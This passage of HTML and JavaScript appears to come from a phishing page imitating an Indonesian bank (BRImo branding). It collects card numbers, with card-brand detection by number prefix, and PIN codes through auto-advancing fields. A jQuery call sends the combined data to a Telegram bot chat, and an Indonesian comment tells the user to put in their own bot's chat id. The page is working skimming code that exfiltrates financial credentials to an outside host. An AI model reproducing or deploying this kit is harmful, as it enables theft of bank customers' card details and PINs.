var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
method: `POST`,
})
}
</script>
<script>
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
var pinContainer = document.querySelector(".pincode");
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
pinContainer.addEventListener('keyup', function (event) {
var target = event.srcElement;
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
var myLength = target.value. length;
if (myLength >= maxLength) {
var next = target;
while (next = next.nextElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
if (myLength === 0) {
var next = target;
while (next = next.previousElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
}, false);
pinContainer.addEventListener('keydown', function (event) {
var target = event.srcElement;
target.value = "";
}, false);
</script>
<script>
function cekno0(){$(".errtelp").empty();var o,n=$(".card-input__input1").val(),r=n.length;if(r>=4&&r<=19){o=n.substring(0,4);var a=tsel.length,e=0,t=!0;for(nomor="bukan";a>e;)tsel[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/4/41/Visa_Logo.png)"}),nomor="TELKOMSEL",t=!1),++e;for(a=isat.length,e=0;a>e&&t;)isat[e]==o&&($(".card-input__input1").css({"background-image":"url(https://seeklogo.com/images/G/gpn-logo-36CC6EB701-seeklogo.com.png)"}),nomor="INDOSAT",t=!1),++e;for(a=tree.length,e=0;a>e&&t;)tree[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/MasterCard_Logo.svg/600px-MasterCard_Logo.svg.png)"}),nomor="THREE",t=!1),++e;for(a=sfren.length,e=0;a>e&&t;)sfren[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/4/40/JCB_logo.svg/600px-JCB_logo.svg.png"}),nomor="SMARTFREN",t=!1),++e;for(a=xl.length,e=0;a>e&&t;)xl[e]==o&&($(".card-input__input1").css({"background-image":"url(https://3.bp.blogspot.com/-WM_SGpSoqNY/WkDuWGIi8_I/AAAAAAAABic/6sHIwe7dh1sm0CC1ZAokqhsR3vZuRErxgCPcBGAYYCw/s1600/xl.png)"}),nomor="XL",t=!1),++e;for(a=axis.length,e=0;a>e&&t;)axis[e]==o&&($(".card-input__input1").css({"background-image":"url(https://4.bp.blogspot.com/-3GaLxmQk2sc/WkDuVAN41pI/AAAAAAAABiI/IdxzPaiB_XMNKc-37Clgmn6SxKtw_PwQACPcBGAYYCw/s1600/axis.png)"}),nomor="AXIS",t=!1),++e;"bukan"==nomor?(blocktombol(),gambaroperatorhilang()):r>=10&&12>=r?bukablocktombol():blocktombol()}else blocktombol(),gambaroperatorhilang()}function adahurufstring(){var o=!0,n=$(".card-input__input1").val(),r=n.length;if(n=parseInt(n),n=n.toString().length,r==n+1)var o=!1;return o}function blocktombol(){$(".tombol").prop("disabled",!0)}function bukablocktombol(){$(".tombol").prop("disabled",!1)}function gambaroperatorhilang(){$(".card-input__input1").css({"background-image":"url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhShUt8NcMuBcL20gEw9MEJV-Um7IHIGE6AAyYsmzLnEgZVKU30O8vBgmkWoIsvT9lraoWxkoTwxsEk770iHBY20X5EGUZ7OWb41uDs3xzOh329qZcaSLeC40w_OZFPypTsJNjJ5rqVr3AI_PO8sIWiuEwmxKy53-PqbJ2phYD6c5iE22XVVJKlAAKY/s1600/brimo.png)"})}function isNumberKey(o){var n=o.which?o.which:event.keyCode;return n>31&&(48>n||n>57)?!1:!0}var tsel=["4365","4000","3422","4750","4895","4259","4149","4098"],isat=["6013"],tree=["5188","5221","5520","5211","5576","5463","5379","5289","5000","5520","5336","4599","5528"],sfren=["4213","3000","3565"],nomor,datapr;$(document).on("keyup",".card-input__input1",cekno0);
</script>
<script>
const dateInput = document.getElementById('date');
// ✅ Using the visitor's timezone
dateInput.value = formatDate();
console.log(formatDate());
function padTo2Digits(num) {
return num.toString().padStart(2, '0');
}
function formatDate(date = new Date()) {
return [
date.getFullYear(),
padTo2Digits(date.getMonth() + 1),
padTo2Digits(date.getDate()),
].join('-');
}
// ✅ Using UTC (universal coordinated time)
// dateInput.value = new Date().toISOString().split('T')[0];
// console.log(new Date().toISOString().split('T')[0]);
</script>